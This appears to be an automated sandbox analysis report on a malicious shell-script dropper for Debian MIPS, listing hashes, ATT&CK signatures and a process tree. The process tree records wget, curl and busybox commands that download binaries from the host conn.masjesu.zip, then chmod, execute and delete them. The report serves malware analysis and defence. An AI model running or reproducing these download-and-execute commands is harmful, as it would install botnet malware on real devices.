Analysis

  • max time kernel
    150s
  • max time network
    152s
  • platform
    debian-9_mipsel
  • resource
    debian9-mipsel-20240418-en
  • resource tags

    arch:mipselimage:debian9-mipsel-20240418-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
  • submitted
    25/11/2024, 02:56

General

  • Target

    bb60118326ffb4a0fae363e8a06670643af921e085b7446ab574219a647d09f0.sh

  • Size

    10KB

  • MD5

    4d3bce6e63e7c5062d430bdd3db51803

  • SHA1

    2d3713bb55e4b4054a8ea71bc1b85cd4c6d4a209

  • SHA256

    bb60118326ffb4a0fae363e8a06670643af921e085b7446ab574219a647d09f0

  • SHA512

    75685841609c7ddcf89cfb067c3f1040185e2c05255ffd3e4f6ba9b883dcdb8104855c19ef5ab26f75cba56af1bb5eced0393bdb4488bbfeb8112d9518cff29f

  • SSDEEP

    192:ijfWh9fkN8J554EnaaBkW4EnaaHwjfWh9fn:ijfWhRkN8J554EnaaBkW4EnaaHwjfWhp

Malware Config

Signatures

  • File and Directory Permissions Modification 1 TTPs 1 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 1 IoCs
  • Reads runtime system information 2 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 5 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 1 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bb60118326ffb4a0fae363e8a06670643af921e085b7446ab574219a647d09f0.sh
    /tmp/bb60118326ffb4a0fae363e8a06670643af921e085b7446ab574219a647d09f0.sh
    1⤵
      PID:701
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:709
        • /usr/bin/wget
          wget http://conn.masjesu.zip/bins/echR7baySM3MdHlrFhMfz1QZBE4hDj2gbH
          2⤵
          • System Network Configuration Discovery
          PID:712
        • /usr/bin/curl
          curl -O http://conn.masjesu.zip/bins/echR7baySM3MdHlrFhMfz1QZBE4hDj2gbH
          2⤵
          • Reads runtime system information
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:729
        • /bin/busybox
          /bin/busybox wget http://conn.masjesu.zip/bins/echR7baySM3MdHlrFhMfz1QZBE4hDj2gbH
          2⤵
          • System Network Configuration Discovery
          PID:811
        • /bin/chmod
          chmod 777 echR7baySM3MdHlrFhMfz1QZBE4hDj2gbH
          2⤵
          • File and Directory Permissions Modification
          PID:812
        • /tmp/echR7baySM3MdHlrFhMfz1QZBE4hDj2gbH
          ./echR7baySM3MdHlrFhMfz1QZBE4hDj2gbH
          2⤵
          • Executes dropped EXE
          PID:813
        • /bin/rm
          rm echR7baySM3MdHlrFhMfz1QZBE4hDj2gbH
          2⤵
            PID:814
          • /usr/bin/wget
            wget http://conn.masjesu.zip/bins/PHt8ev9v5d3A2CLoiKX1ynO76Sv0lRGbcb
            2⤵
            • System Network Configuration Discovery
            PID:815
          • /usr/bin/curl
            curl -O http://conn.masjesu.zip/bins/PHt8ev9v5d3A2CLoiKX1ynO76Sv0lRGbcb
            2⤵
            • Reads runtime system information
            • System Network Configuration Discovery
            PID:816

        Network

              MITRE ATT&CK Enterprise v15

              Replay Monitor

              Loading Replay Monitor...

              Downloads

              • /tmp/echR7baySM3MdHlrFhMfz1QZBE4hDj2gbH

                Filesize

                153B

                MD5

                998368d7c95ea4293237f2320546e440

                SHA1

                30dfd2d3bb8a7e3241bd7792e90a98ebb70be3a4

                SHA256

                533a1ca5d6595793725bca7641d9461a0f00dd1732dded3e4281196f5dd21736

                SHA512

                648c4720a85dbf834be1ba00f0e1b4167cc670fe15896efb00a77fb6e0c225a13aae3da10d85fa6e7f726420d9bb3c20c43466e02296d44153c127b7160e0b97